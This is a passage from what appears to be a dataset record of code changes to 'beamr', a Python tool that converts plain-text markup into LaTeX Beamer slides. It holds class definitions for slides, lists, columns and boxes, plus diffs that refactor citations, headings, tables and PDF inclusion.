%(self.specs[self.emph +self.uncover], describee), '\\n') Slide.parsingQ.insert(0, innerFunc) @classmethod def resolve(cls, docList, depth=0): maxIndex=len(docList) -1 if depth > 3: warn('Nested lists to depth greater than 4') depth=3 for i,l in enumerate(docList): if isinstance(l, cls): if i==0 or(docList[i-1].kind !=l.kind if isinstance(docList[i-1], cls) else True): l.before=cls.begins[l.kind] +l.before if l.kind==1 and not l.resume: cls.counterValues[depth]=0 if i==maxIndex or(docList[i+1].kind !=l.kind if isinstance(docList[i+1], cls) else True): l.after +=cls.ends[l.kind] l.before %=cls.enumCounterCmd %(cls.enumCounters[depth], cls.counterValues[depth]) if l.resume else '' if l.kind==1: cls.counterValues[depth] +=1 cls.resolve(l.children, depth+1) elif isinstance(l, Hierarchy): cls.resolve(l.children, depth) class Column(Hierarchy): begin='\\\\begin{columns}\\n' end='\\\\end{columns}' marker='\\\\column{%.3f\\\\textwidth}\\n' def __init__(self, txt): txt=txt.strip() debug('Txt picked up by col:', txt) i=txt.find('\\n') head=txt[1:i].strip() txt=txt[i+1:] self.percentage=self.units=0.0 self.unspecified=0 if len(head)==0: self.unspecified=1 elif head[-1:]=='%': self.percentage=float(head[:-1]) * 0.01 else: self.units=float(head) def innerFunc(): super(Column, self).__init__(slideParser.parse(txt, slideLexer), after='\\n') Slide.parsingQ.insert(0, innerFunc) @classmethod def resolve(cls, docList): currentColumnSet=[] totalSpace=1.0 totalUnits=0.0 unspecifiedCount=0 for elem in docList +[None]: if isinstance(elem, Column): currentColumnSet.append(elem) totalSpace -=elem.percentage totalUnits +=elem.units unspecifiedCount +=elem.unspecified elif len(currentColumnSet) > 0: currentColumnSet[0].before=cls.begin currentColumnSet[-1].after +=cls.end if totalSpace < 0.0: warn('Fixed column widths exceed 100%.', totalSpace, 'remaining, setting to 0.') totalSpace=0.0 for col in currentColumnSet: if col.unspecified: col.percentage=totalSpace / unspecifiedCount col.before +=cls.marker %(col.percentage if col.percentage > 0.0 else col.units / totalUnits * totalSpace) currentColumnSet=[] totalSpace=1.0 totalUnits=0.0 unspecifiedCount=0 if isinstance(elem, Hierarchy): cls.resolve(elem.children) class Box(Hierarchy): begin='\\\\begin{%sblock}{%s}\\n' end='\\\\end{%sblock}\\n' def __init__(self, txt): txt=txt.strip()[:-1] i=txt.find('\\n') head=txt[:i].strip() txt=txt[i+1:] kind='' if head[1]=='!': kind='alert' head=head[2:] def innerFunc(): super(Box, self).__init__(slideParser.parse(txt, slideLexer), self.begin %(kind, head), self.end % kind) Slide.parsingQ.insert(0, innerFunc) class Emph(Hierarchy): def __init__(self, flag, txt): self.flag=flag def innerFunc(): super(Emph, self).__init__(slideParser.parse(txt, slideLexer)) Slide.parsingQ.insert(0, innerFunc) def __str__(self): return Config.get('emph', self.flag)(super(Emph, self).__str__()) class Stretch(Hierarchy): def __init__(self, flag, txt=''): self.flag=flag def innerFunc(): super(Stretch, self).__init__(slideParser.parse(txt, slideLexer) if txt else[]) Slide.parsingQ.insert(0, innerFunc) def __str__(self): return Config.get('stretch', self.flag)(super(Stretch, self).__str__()) class Footnote(Hierarchy): def __init__(self, txt): def innerFunc(): super(Footnote, self).__init__(slideParser.parse(txt, slideLexer), r'\\footnote[frame]{', '}') Slide.parsingQ.insert(0, innerFunc) ", "sourceWithComments": "'''\nCreated on 1 Feb 2018\n\n@author: Teodor Gherasim Nistor\n'''\nfrom beamr.debug import debug, warn\nfrom beamr.lexers import docLexer, slideLexer\nfrom beamr.parsers import docParser, slideParser\nfrom beamr.interpreters import Config, VerbatimEnv\n\nclass Hierarchy(object):\n\n def __init__(self, children, before='', after='', inter=''):\n self.children = children\n self.before = before\n self.after = after\n self.inter = inter\n \n def __str__(self):\n s = self.before\n for c in self.children:\n s += str(c) + self.inter\n s += self.after\n return s\n \n# def debug(self):\n# debug(self.__class__)\n\n\nclass Document(Hierarchy):\n\n docClassCmd = (r'\\documentclass[%s]{%s}', r'\\documentclass{%s}')\n packageCmd = (r'\\usepackage[%s]{%s}', r'\\usepackage{%s}')\n titlePageCmd = '\\\\frame{\\\\titlepage}\\n'\n begin = '\\n\\\\begin{document}\\n'\n end = '\\\\end{document}\\n'\n\n # TODO title gizmos e.g. \\title[This will be in footer]{This will be on title slide} Also, [\\insertframenumber/\\inserttotalframenumber]\n preambleCmds = {'theme' : '\\\\usetheme{%s}\\n',\n 'scheme' : '\\\\usecolortheme{%s}\\n',\n 'title' : '\\\\title{%s}\\n',\n 'author' : '\\\\author{%s}\\n',\n 'institute': '\\\\institute{%s}\\n',\n 'date' : '\\\\date{%s}\\n'}\n\n def __init__(self, txt):\n if txt.find('\\t') > -1:\n txt = txt.replace('\\t',' ')\n warn(\"Input file has tabs, which will be considered 4 spaces; but please don't use tabs!\")\n super(Document, self).__init__(docParser.parse(txt, docLexer), after=self.end)\n\n # Collect all kinds of configuration\n Config.resolve()\n debug('Final config', Config.effectiveConfig)\n\n # Post-factum list, column, and verbatim environment resolution\n ListItem.resolve(self.children)\n Column.resolve(self.children)\n VerbatimEnv.resolve()\n\n # Document class and package commands\n packageDef = self.splitCmd(self.docClassCmd, Config.getRaw('docclass'))\n for pkg in Config.effectiveConfig['packages']:\n packageDef += self.splitCmd(self.packageCmd, pkg)\n packageDef += '\\n'\n\n # Outer preamble commands\n outerPreamble = ''\n for k in self.preambleCmds:\n if k in Config.effectiveConfig:\n outerPreamble += self.preambleCmds[k] % Config.getRaw(k)\n\n # Inner preamble commands\n innerPreamble = VerbatimEnv.preambleDefs\n if Config.effectiveConfig.get('titlepage', 'no') in ['yes', 'y', 'true', True]:\n innerPreamble += self.titlePageCmd\n\n self.before = packageDef + outerPreamble + self.begin + innerPreamble\n\n @staticmethod\n def splitCmd(cmdTemplate, content):\n i = content.rfind(',')\n if i > -1:\n return cmdTemplate[0] % (content[:i], content[i+1:]) + '\\n'\n else:\n return cmdTemplate[1] % content + '\\n'\n\n\nclass Slide(Hierarchy):\n\n parsingQ = []\n\n before = '\\\\begin{frame}%s{%s}\\n'\n after = '\\n\\\\end{frame}\\n'\n\n def __init__(self, txt):\n headBegin = txt.find('[')\n headEnd = txt.find('\\n', headBegin)\n headSplit = (txt.find(' ', headBegin) + 1) or headEnd # If there is a blank, title begins after it; otherwise stop at end of line and title will be the empty string.\n\n# TODO THERE IS A BUG HERE WHEN SLIDE OPEN JUST BY [ ALONE\n\n # Add breaks or shrink if applicable\n opts = txt[headBegin+1 : headSplit].strip()\n if len(opts) > 0:\n if opts[0] == '.':\n if opts == '...':\n opts = '[allowframebreaks]'\n else:\n try:\n float(opts[1:])\n opts = '[shrink=%s]' % opts[1:]\n except:\n warn('Slide title: Invalid shrink specifier:', opts[1:])\n opts = ''\n else:\n warn('Slide title: Invalid slide option:', opts)\n opts = ''\n\n super(Slide, self).__init__(slideParser.parse(txt[headEnd:-1], slideLexer),\n self.before % (opts, txt[headSplit:headEnd]),\n self.after)\n\n # Hierarchical children will have added themselves to the parsing queue which we process now\n while len(self.parsingQ) > 0:\n self.parsingQ.pop()()\n\n\nclass ListItem(Hierarchy):\n\n enumCounters = ['i', 'ii', 'iii', 'iv']\n enumCounterCmd = '\\\\setcounter{enum%s}{%d}\\n'\n counterValues = [0,0,0,0]\n\n begins = ['\\\\begin{itemize}\\n', '\\\\begin{enumerate}\\n', '\\\\begin{description}\\n']\n specs = ['', '', '<+->', '<+-|alert@+>']\n markers = [r'\\item%s %s', r'\\item%s %s', r'\\item%s[%s] ']\n ends = ['\\\\end{itemize}\\n', '\\\\end{enumerate}\\n', '\\\\end{description}\\n']\n \n \n def __init__(self, txt):\n txt = txt.strip()\n \n def innerFunc():\n i = txt.find(' ') # Definitely >0 by way of definition of the list item regex\n marker = txt[:i]\n describee = ''\n content = txt[i+1:]\n\n self.emph = 1 if marker.find('*') > -1 else 0\n self.uncover = 2 if marker.find('+') > -1 else 0\n\n self.kind = 0 # Unordered list\n self.resume = False\n\n if marker.find('.') > -1:\n self.kind = 1 # Ordered list\n \n elif marker.find(',') > -1:\n self.kind = 1 # Ordered list, resume numbering\n self.resume = True\n\n elif marker.find('=') > -1:\n self.kind = 2 # Description list. Isolate describee\n j = content.find('=')\n if j == -1:\n j = content.find(' ')\n \n if j == -1:\n describee = content\n content = ' '\n else:\n describee = content[:j]\n content = content[j+1:]\n \n super(ListItem, self).__init__(slideParser.parse(content, slideLexer),\n '%s' + self.markers[self.kind] % (self.specs[self.emph + self.uncover], describee),\n '\\n')\n\n Slide.parsingQ.insert(0, innerFunc)\n \n @classmethod\n def resolve(cls, docList, depth=0):\n maxIndex = len(docList) - 1\n\n # Anti-stupid\n if depth > 3:\n warn('Nested lists to depth greater than 4')\n depth = 3\n\n for i,l in enumerate(docList):\n\n # Deal with list items\n if isinstance(l, cls):\n\n # Begin list before current item if previous item doesn't exist, is not a list item, or is a list item of a different kind\n if i == 0 or (docList[i-1].kind != l.kind if isinstance(docList[i-1], cls) else True):\n l.before = cls.begins[l.kind] + l.before\n\n # If this is an enumeration item which doesn't resume the counter, reset counter for current depth to 0\n if l.kind == 1 and not l.resume:\n cls.counterValues[depth] = 0\n\n # End list after current item if next item doesn't exist, is not a list item, or is a list item of a different kind\n if i == maxIndex or (docList[i+1].kind != l.kind if isinstance(docList[i+1], cls) else True):\n l.after += cls.ends[l.kind]\n\n # Resume counters for enumerations that require it\n l.before %= cls.enumCounterCmd % (cls.enumCounters[depth], cls.counterValues[depth]) if l.resume else ''\n\n # Increment counter for current level if enumeration\n if l.kind == 1:\n cls.counterValues[depth] += 1\n\n # Recurse to children, which are now one level deeper\n cls.resolve(l.children, depth+1)\n\n # Deal with non-list hierarchies\n elif isinstance(l, Hierarchy):\n cls.resolve(l.children, depth)\n\n\nclass Column(Hierarchy):\n\n begin = '\\\\begin{columns}\\n'\n end = '\\\\end{columns}'\n marker = '\\\\column{%.3f\\\\textwidth}\\n'\n\n def __init__(self, txt):\n txt = txt.strip()\n\n debug('Txt picked up by col:', txt)\n i = txt.find('\\n') # Guaranteed >0 by regex\n head = txt[1:i].strip()\n txt = txt[i+1:]\n\n # Identify width params\n self.percentage = self.units = 0.0\n self.unspecified = 0\n if len(head) == 0:\n self.unspecified = 1\n elif head[-1:] == '%':\n self.percentage = float(head[:-1]) * 0.01\n else:\n self.units = float(head)\n\n def innerFunc():\n super(Column, self).__init__(slideParser.parse(txt, slideLexer), after='\\n')\n Slide.parsingQ.insert(0, innerFunc)\n\n @classmethod\n def resolve(cls, docList):\n currentColumnSet = []\n totalSpace = 1.0\n totalUnits = 0.0\n unspecifiedCount = 0\n\n # A dummy element at the end ensures the last column set is processed if the current docList ends with a column\n for elem in docList + [None]:\n\n # Column encountered. Add it to current set and adjust counters\n if isinstance(elem, Column):\n currentColumnSet.append(elem)\n totalSpace -= elem.percentage\n totalUnits += elem.units\n unspecifiedCount += elem.unspecified\n\n # Non-column encountered. If a nonempty set exists, process it now.\n elif len(currentColumnSet) > 0:\n\n # Begin and end column environment around first and last columns of current set.\n currentColumnSet[0].before = cls.begin\n currentColumnSet[-1].after += cls.end\n\n if totalSpace < 0.0: # Anti-stupid\n warn('Fixed column widths exceed 100%.', totalSpace, 'remaining, setting to 0.')\n totalSpace = 0.0\n\n # Generate column markers\n for col in currentColumnSet:\n\n # If width unspecified, allocate space unclaimed by fixed-percentage columns\n if col.unspecified:\n col.percentage = totalSpace / unspecifiedCount\n\n col.before += cls.marker % (col.percentage if col.percentage > 0.0\n else col.units / totalUnits * totalSpace)\n\n # Reset counters and set\n currentColumnSet = []\n totalSpace = 1.0\n totalUnits = 0.0\n unspecifiedCount = 0\n\n # Recurse\n if isinstance(elem, Hierarchy):\n cls.resolve(elem.children)\n\n\nclass Box(Hierarchy):\n\n # TODO anything config-able?\n # TODO other types of box (affects regex)\n\n begin = '\\\\begin{%sblock}{%s}\\n'\n end = '\\\\end{%sblock}\\n'\n\n def __init__(self, txt):\n txt = txt.strip()[:-1]\n\n # Isolate head (marker & title) from content\n i = txt.find('\\n') # Guaranteed >0 by regex definition\n head = txt[:i].strip()\n txt = txt[i+1:]\n\n # Find box kind based on marker\n kind = ''\n if head[1] == '!':\n kind = 'alert'\n\n # Isolate title (if any)\n head = head[2:]\n\n # Enqueue function below to be called when all current parsing has finished\n def innerFunc():\n super(Box, self).__init__(slideParser.parse(txt, slideLexer),\n self.begin % (kind, head),\n self.end % kind)\n\n Slide.parsingQ.insert(0, innerFunc)\n\n\nclass Emph(Hierarchy):\n def __init__(self, flag, txt):\n self.flag = flag\n def innerFunc():\n super(Emph, self).__init__(slideParser.parse(txt, slideLexer))\n Slide.parsingQ.insert(0, innerFunc)\n\n def __str__(self):\n return Config.get('emph', self.flag)(super(Emph, self).__str__())\n\n\nclass Stretch(Hierarchy):\n def __init__(self, flag, txt=''):\n self.flag = flag\n def innerFunc():\n super(Stretch, self).__init__(slideParser.parse(txt, slideLexer) if txt else [])\n Slide.parsingQ.insert(0, innerFunc)\n\n def __str__(self):\n return Config.get('stretch', self.flag)(super(Stretch, self).__str__())\n\n\nclass Footnote(Hierarchy):\n def __init__(self, txt):\n def innerFunc():\n super(Footnote, self).__init__(slideParser.parse(txt, slideLexer),\n r'\\footnote[frame]{', '}')\n Slide.parsingQ.insert(0, innerFunc)\n"}, "/beamr/interpreters/textual.py": {"changes": [{"diff": "\n '''\n import os.path\n import re\n-from beamr.lexers import imageLexer\n+from beamr.lexers import docLexer, imageLexer, slideLexer\n from beamr.parsers import imageParser\n from beamr.debug import debug, warn\n \n", "add": 1, "remove": 1, "filename": "/beamr/interpreters/textual.py", "badparts": ["from beamr.lexers import imageLexer"], "goodparts": ["from beamr.lexers import docLexer, imageLexer, slideLexer"]}, {"diff": "\n \n class Comment(Text):\n def __init__(self, txt):\n- debug('Comment ', txt)\n- super(Comment, self).__init__('% ' + txt)\n+ debug('Comment ', txt, range=slideLexer.lineno)\n+ from beamr.interpreters import Config\n+ super(Comment, self).__init__(Config.get('~comment')(txt))\n \n \n class Escape(Text):\n def __init__(self, txt):\n+ debug('Escape', txt, range=slideLexer.lineno)\n super(Escape, self).__init__(txt[1:])\n \n \n+class Antiescape(Text):\n+ def __str__(self):\n+ from beamr.interpreters.config import Config\n+ if self.txt in Config.getRaw('antiescape'):\n+ return '\\\\' + self.txt\n+ else:\n+ return self.txt\n+\n+\n class Citation(Text):\n+ def __init__(self, txt, opts):\n+ self.txt = txt\n+ self.opts = opts\n+ self.lineno = slideLexer.lineno\n+\n def __str__(self):\n from beamr.interpreters.config import Config\n- if Config.effectiveConfig['bib']:\n- return r'\\cite{' + self.txt + '}'\n+ if Config.getRaw('bib'):\n+ if self.opts:\n+ return Config.get('~citeOpts')((self.opts, self.txt))\n+ else:\n+ return Config.get('~citeSimple')(self.txt)\n else:\n- warn('Citations used but no bibliography file given.')\n+ warn('Citations used but no bibliography file given! Skipping.', range=self.lineno)\n return ''\n \n \n class Url(Text):\n- def __init__(self, txt):\n- super(Url, self).__init__(r'\\url{' + txt + '}')\n+ def __str__(self):\n+ from beamr.interpreters.config import Config\n+ return Config.get('~url')(self.txt)\n \n \n class Heading(Text):\n usedMarkers = []\n- formats = [\n-# '\\\\chapter{ %s }\\n', # Invalid?\n- '\\\\section{ %s }\\n',\n- '\\\\subsection{ %s }\\n',\n- '\\\\subsubsection{ %s }\\n'\n- ]\n- \n+\n def __init__(self, txt):\n- txt = txt.strip().splitlines()\n+ super(Heading, self).__init__(txt)\n+ self.lineno = docLexer.lineno\n+\n+ def __str__(self):\n+ txt = self.txt.strip().splitlines()\n marker = txt[1][0]\n \n try:\n", "add": 33, "remove": 15, "filename": "/beamr/interpreters/textual.py", "badparts": [" debug('Comment ', txt)", " super(Comment, self).__init__('% ' + txt)", " if Config.effectiveConfig['bib']:", " return r'\\cite{' + self.txt + '}'", " warn('Citations used but no bibliography file given.')", " def __init__(self, txt):", " super(Url, self).__init__(r'\\url{' + txt + '}')", " formats = [", " '\\\\section{ %s }\\n',", " '\\\\subsection{ %s }\\n',", " '\\\\subsubsection{ %s }\\n'", " ]", " txt = txt.strip().splitlines()"], "goodparts": [" debug('Comment ', txt, range=slideLexer.lineno)", " from beamr.interpreters import Config", " super(Comment, self).__init__(Config.get('~comment')(txt))", " debug('Escape', txt, range=slideLexer.lineno)", "class Antiescape(Text):", " def __str__(self):", " from beamr.interpreters.config import Config", " if self.txt in Config.getRaw('antiescape'):", " return '\\\\' + self.txt", " else:", " return self.txt", " def __init__(self, txt, opts):", " self.txt = txt", " self.opts = opts", " self.lineno = slideLexer.lineno", " if Config.getRaw('bib'):", " if self.opts:", " return Config.get('~citeOpts')((self.opts, self.txt))", " else:", " return Config.get('~citeSimple')(self.txt)", " warn('Citations used but no bibliography file given! Skipping.', range=self.lineno)", " def __str__(self):", " from beamr.interpreters.config import Config", " return Config.get('~url')(self.txt)", " super(Heading, self).__init__(txt)", " self.lineno = docLexer.lineno", " def __str__(self):", " txt = self.txt.strip().splitlines()"]}, {"diff": "\n Heading.usedMarkers.append(marker)\n \n if i > 2: # Anti-stupid\n- warn(\"Something's wrong with heading marker\", marker, 'having index', i)\n+ warn(\"Something's wrong with heading marker\", marker, 'having index', i, range=self.lineno)\n i = 2\n \n- super(Heading, self).__init__(Heading.formats[i] % txt[0])\n- debug('Heading level', i, marker, txt[0])\n+ from beamr.interpreters.config import Config\n+ debug('Heading level', i, marker, txt[0], range=self.lineno)\n+ return Config.get('~heading', i)(txt[0])\n \n \n class ImageEnv(Text):\n", "add": 4, "remove": 3, "filename": "/beamr/interpreters/textual.py", "badparts": [" warn(\"Something's wrong with heading marker\", marker, 'having index', i)", " super(Heading, self).__init__(Heading.formats[i] % txt[0])", " debug('Heading level', i, marker, txt[0])"], "goodparts": [" warn(\"Something's wrong with heading marker\", marker, 'having index', i, range=self.lineno)", " from beamr.interpreters.config import Config", " debug('Heading level', i, marker, txt[0], range=self.lineno)", " return Config.get('~heading', i)(txt[0])"]}, {"diff": "\n return s\n \n def smartGrid(dims, files, implicitFillWidth=True):\n- warn('Image Frame: PIL support not yet implemented, falling back to basic grid. Some images may be distorted.')\n+ warn('Image Frame: PIL support not yet implemented, falling back to basic grid. Some images may be distorted.', range=slideLexer.lineno)\n return grid(dims, files, implicitFillWidth)\n \n shapes = {'|': vStrip,\n", "add": 1, "remove": 1, "filename": "/beamr/interpreters/textual.py", "badparts": [" warn('Image Frame: PIL support not yet implemented, falling back to basic grid. Some images may be distorted.')"], "goodparts": [" warn('Image Frame: PIL support not yet implemented, falling back to basic grid. Some images may be distorted.', range=slideLexer.lineno)"]}, {"diff": "\n '#': smartGrid}\n \n super(ImageEnv, self).__init__(shapes.get(shape, singleImage)(dims, files))\n+ slideLexer.lineno = slideLexer.nextlineno\n \n \n class PlusEnv(Text):\n \n def __init__(self, txt):\n # TODO\n- warn('Plus integration not yet implemented')\n+ warn('Plus integration not yet implemented', slideLexer.lineno+1)\n super(PlusEnv, self).__init__( 'Plus: ' + txt)\n+ slideLexer.lineno = slideLexer.nextlineno\n \n \n class TableEnv(Text):\n- \n+\n+ begin = r'\\begin{center}\\begin{tabular}{%s}'\n+ beginX = r'\\begin{tabularx}{\\textwidth}{%s}'\n+ end = r'\\end{tabular}\\end{center}'\n+ endX = r'\\end{tabularx}'\n+ hBar = '\\n\\\\hline'\n+\n def __init__(self, txt):\n # TODO\n- warn('Tables not yet implemented')\n- super(TableEnv, self).__init__( 'Table: ' + txt )\n+ self.remember([])\n+ slideLexer.lineno = slideLexer.nextlineno\n \n+ def remember(self, arr, aligns='', vBars='', hBars=None):\n+ self.arr = arr\n+ maxWidth = max(map(lambda a: len(a), arr))\n+ self.aligns = aligns or 'c' * maxWidth\n+ self.vBars = vBars or ' ' + '|' * (maxWidth-1) + ' '\n+ self.hBars = hBars or range(1, len(arr))\n \n-class ScissorEnv(Text):\n+ def __str__(self):\n+ aligns = ''.join([self.vBars[i] + self.aligns[i] for i in range(len(self.aligns))]) + self.vBars[-1]\n+ debug('Aligns:', aligns, 'done')\n+\n+ s = (self.begin if aligns.find('X') == -1 else self.beginX) % aligns\n+ for i in range(len(self.arr)):\n+ if i in self.hBars:\n+ s += self.hBar\n+ s += '\\n' + ' & '.join(map(lambda a: str(a), self.arr[i])) + r' \\\\'\n+ if len(self.arr) in self.hBars:\n+ s += self.hBar\n+ s += (self.end if aligns.find('X') == -1 else self.endX) + '\\n'\n+ return s\n \n- includeCmd = r'{\\setbeamercolor{background canvas}{bg=}\\includepdf%s{%%s}}'\n- pagesSpec = '[pages={%s}]'\n+\n+class ScissorEnv(Text):\n \n def __init__(self, txt):\n- super(ScissorEnv, self).__init__(self._init_helper(txt.strip().split()) + '\\n')\n+ super(ScissorEnv, self).__init__(txt)\n+ self.lineno = docLexer.lineno\n \n- def _init_helper(self, arr):\n- if len(arr) == 0:\n- warn('Skipping empty scissor command')\n+ def __str__(self):\n+ arr = self.txt.strip().split()\n+ if not len(arr):\n+ warn('Empty 8< command, omitting', range=self.lineno)\n return ''\n \n+ from beamr.interpreters.config import Config\n+\n if not (os.path.isfile(arr[0]) or os.path.isfile(arr[0] + '.pdf')):\n- # TODO Link to safety net\n- # if .safe:\n- # warn('File included in scissor command not found, omitting')\n- # return ''\n- # else:\n- warn('File included in scissor command not found, proceeding unsafely...')\n+ if Config.getRaw('safe'):\n+ warn('File for 8< not found, omitting', range=self.lineno)\n+ return ''\n+ else:\n+ warn('File for 8< not found, proceeding unsafely', range=self.lineno)\n \n if len(arr) > 1:\n+ if len(arr) > 2:\n+ warn('Ignoring extraneous arguments in 8<', range=self.lineno)\n+\n if re.fullmatch(r'\\d+(-\\d+)?(,\\d+(-\\d+)?)*', arr[1]):\n- cmd = self.includeCmd % self.pagesSpec\n- return cmd % (arr[1], arr[0])\n+ return Config.get('~scissorPages')((arr[1], arr[0]))\n+\n else:\n- warn('Ignoring malformed page range in scissor command')\n- if len(arr) > 2:\n- warn('Ignoring extraneous arguments in scissor command')\n+ warn('Ignoring malformed page range in 8<', range=self.lineno)\n \n- cmd = self.includeCmd % ''\n- return cmd % arr[0]\n+ return Config.get('~scissorSimple')(arr[0])\n \n \n class VerbatimEnv(Text):\n", "add": 53, "remove": 24, "filename": "/beamr/interpreters/textual.py", "badparts": [" warn('Plus integration not yet implemented')", " warn('Tables not yet implemented')", " super(TableEnv, self).__init__( 'Table: ' + txt )", "class ScissorEnv(Text):", " includeCmd = r'{\\setbeamercolor{background canvas}{bg=}\\includepdf%s{%%s}}'", " pagesSpec = '[pages={%s}]'", " super(ScissorEnv, self).__init__(self._init_helper(txt.strip().split()) + '\\n')", " def _init_helper(self, arr):", " if len(arr) == 0:", " warn('Skipping empty scissor command')", " warn('File included in scissor command not found, proceeding unsafely...')", " cmd = self.includeCmd % self.pagesSpec", " return cmd % (arr[1], arr[0])", " warn('Ignoring malformed page range in scissor command')", " if len(arr) > 2:", " warn('Ignoring extraneous arguments in scissor command')", " cmd = self.includeCmd % ''", " return cmd % arr[0]"], "goodparts": [" slideLexer.lineno = slideLexer.nextlineno", " warn('Plus integration not yet implemented', slideLexer.lineno+1)", " slideLexer.lineno = slideLexer.nextlineno", " begin = r'\\begin{center}\\begin{tabular}{%s}'", " beginX = r'\\begin{tabularx}{\\textwidth}{%s}'", " end = r'\\end{tabular}\\end{center}'", " endX = r'\\end{tabularx}'", " hBar = '\\n\\\\hline'", " self.remember([])", " slideLexer.lineno = slideLexer.nextlineno", " def remember(self, arr, aligns='', vBars='', hBars=None):", " self.arr = arr", " maxWidth = max(map(lambda a: len(a), arr))", " self.aligns = aligns or 'c' * maxWidth", " self.vBars = vBars or ' ' + '|' * (maxWidth-1) + ' '", " self.hBars = hBars or range(1, len(arr))", " def __str__(self):", " aligns = ''.join([self.vBars[i] + self.aligns[i] for i in range(len(self.aligns))]) + self.vBars[-1]", " debug('Aligns:', aligns, 'done')", " s = (self.begin if aligns.find('X') == -1 else self.beginX) % aligns", " for i in range(len(self.arr)):", " if i in self.hBars:", " s += self.hBar", " s += '\\n' + ' & '.join(map(lambda a: str(a), self.arr[i])) + r' \\\\'", " if len(self.arr) in self.hBars:", " s += self.hBar", " s += (self.end if aligns.find('X') == -1 else self.endX) + '\\n'", " return s", "class ScissorEnv(Text):", " super(ScissorEnv, self).__init__(txt)", " self.lineno = docLexer.lineno", " def __str__(self):", " arr = self.txt.strip().split()", " if not len(arr):", " warn('Empty 8< command, omitting', range=self.lineno)", " from beamr.interpreters.config import Config", " if Config.getRaw('safe'):", " warn('File for 8< not found, omitting', range=self.lineno)", " return ''", " else:", " warn('File for 8< not found, proceeding unsafely', range=self.lineno)", " if len(arr) > 2:", " warn('Ignoring extraneous arguments in 8<', range=self.lineno)", " return Config.get('~scissorPages')((arr[1], arr[0]))", " warn('Ignoring malformed page range in 8<', range=self.lineno)", " return Config.get('~scissorSimple')(arr[0])"]}, {"diff": "\n while num:\n lettr += chr(64 + num%27)\n num //= 27\n- self.insertCmd = Config.get('vbtmCmds', 'insertion')(lettr)\n+ self.insertCmd = Config.get('~vbtmCmds', 'insertion')(lettr)\n self.head = head\n self.body = body\n super(VerbatimEnv, self).__init__(self.insertCmd)\n", "add": 1, "remove": 1, "filename": "/beamr/interpreters/textual.py", "badparts": [" self.insertCmd = Config.get('vbtmCmds', 'insertion')(lettr)"], "goodparts": [" self.insertCmd = Config.get('~vbtmCmds', 'insertion')(lettr)"]}, {"diff": "\n # Ensure proper package name is given\n from beamr.interpreters import Config\n package = Config.getRaw('verbatim')\n- packageList = Config.getRaw('vbtmCmds', 'packageNames')\n+ packageList = Config.getRaw('~vbtmCmds', 'packageNames')\n if package not in packageList:\n package = packageList[0]\n Config.effectiveConfig['verbatim'] = package\n Config.effectiveConfig['packages'].append(package)\n \n- cls.preambleDefs = Config.getRaw('vbtmCmds', 'once', package) + '\\n'\n+ cls.preambleDefs = Config.getRaw('~vbtmCmds', 'once', package) + '\\n'\n \n for f in cls.todo:\n if f.head:\n- cls.preambleDefs += Config.getRaw('vbtmCmds', 'foreach', package) % (\n+ cls.preambleDefs += Config.getRaw('~vbtmCmds', 'foreach', package) % (\n f.insertCmd,\n f.head,\n f.body)\n else:\n- cls.preambleDefs += Config.getRaw('vbtmCmds', 'foreachNoLang', package) % (\n+ cls.preambleDefs += Config.getRaw('~vbtmCmds', 'foreachNoLang', package) % (\n f.insertCmd,\n f.b", "add": 4, "remove": 4, "filename": "/beamr/interpreters/textual.py", "badparts": [" packageList = Config.getRaw('vbtmCmds', 'packageNames')", " cls.preambleDefs = Config.getRaw('vbtmCmds', 'once', package) + '\\n'", " cls.preambleDefs += Config.getRaw('vbtmCmds', 'foreach', package) % (", " cls.preambleDefs += Config.getRaw('vbtmCmds', 'foreachNoLang', package) % ("], "goodparts": [" packageList = Config.getRaw('~vbtmCmds', 'packageNames')", " cls.preambleDefs = Config.getRaw('~vbtmCmds', 'once', package) + '\\n'", " cls.preambleDefs += Config.getRaw('~vbtmCmds', 'foreach', package) % (", " cls.preambleDefs += Config.getRaw('~vbtmCmds', 'foreachNoLang', package) % ("]}], "source": "\n''' Created on 6 Feb 2018 @author: Teodor Gherasim Nistor ''' import os.path import re from beamr.lexers import imageLexer from beamr.parsers import imageParser from beamr.debug import debug, warn class Text(object): def __init__(self, txt): self.txt=txt def __str__(self): return self.txt def __repr__(self): return self.__str__() class Comment(Text): def __init__(self, txt): debug('Comment ', txt) super(Comment, self).__init__('% ' +txt) class Escape(Text): def __init__(self, txt): super(Escape, self).__init__(txt[1:]) class Citation(Text): def __str__(self): from beamr.interpreters.config import Config if Config.effectiveConfig['bib']: return r'\\cite{' +self.txt +'}' else: warn('Citations used but no bibliography file given.') return '' class Url(Text): def __init__(self, txt): super(Url, self).__init__(r'\\url{' +txt +'}') class Heading(Text): usedMarkers=[] formats=[ '\\\\section{ %s}\\n', '\\\\subsection{ %s}\\n', '\\\\subsubsection{ %s}\\n' ] def __init__(self, txt): txt=txt.strip().splitlines() marker=txt[1][0] try: i=Heading.usedMarkers.index(marker) except: i=len(Heading.usedMarkers) Heading.usedMarkers.append(marker) if i > 2: warn(\"Something's wrong with heading marker\", marker, 'having index', i) i=2 super(Heading, self).__init__(Heading.formats[i] % txt[0]) debug('Heading level', i, marker, txt[0]) class ImageEnv(Text): markers=[r'\\includegraphics[width=%.3f%s,height=%.3f%s]{%s}', r'\\includegraphics[width=%.3f%s]{%s}', r'\\includegraphics[height=%.3f%s]{%s}', r'\\includegraphics[%s]{%s}'] def __init__(self, txt): try: files, shape, align, dims=imageParser.parse(txt[2:-1].strip(), imageLexer) debug(files, shape, align, dims) except: super(ImageEnv, self).__init__('') return def singleImage(dims, files=None, file=None, implicitDims=r'width=\\textwidth'): if not file: file=files[0][0] if dims[0]: if dims[1]: return self.markers[0] %(dims[0][0], dims[0][1], dims[1][0], dims[1][1], file) else: return self.markers[1] %(dims[0][0], dims[0][1], file) else: if dims[1]: return self.markers[2] %(dims[1][0], dims[1][1], file) else: return self.markers[3] %(implicitDims, file) def vStrip(dims, files): return smartGrid(dims,[[file] for line in files for file in line], False) def hStrip(dims, files): return smartGrid(dims,[[file for line in files for file in line]], True) def grid(dims, files, implicitFillWidth=True): x=0 y=len(files) for line in files: if len(line) > x: x=len(line) dims=((dims[0][0] / x, dims[0][1]) if dims[0] else None, (dims[1][0] / y, dims[1][1]) if dims[1] else None) if not(dims[0] or dims[1]): if implicitFillWidth: dims=((1.0/x, r'\\textwidth'), None) else: dims=(None,(1.0/y, r'\\textheight')) s='' for line in files: for file in line: s +=singleImage(dims, file=file) s +=r'\\\\' return s def smartGrid(dims, files, implicitFillWidth=True): warn('Image Frame: PIL support not yet implemented, falling back to basic grid. Some images may be distorted.') return grid(dims, files, implicitFillWidth) shapes={'|': vStrip, '-': hStrip, '+': 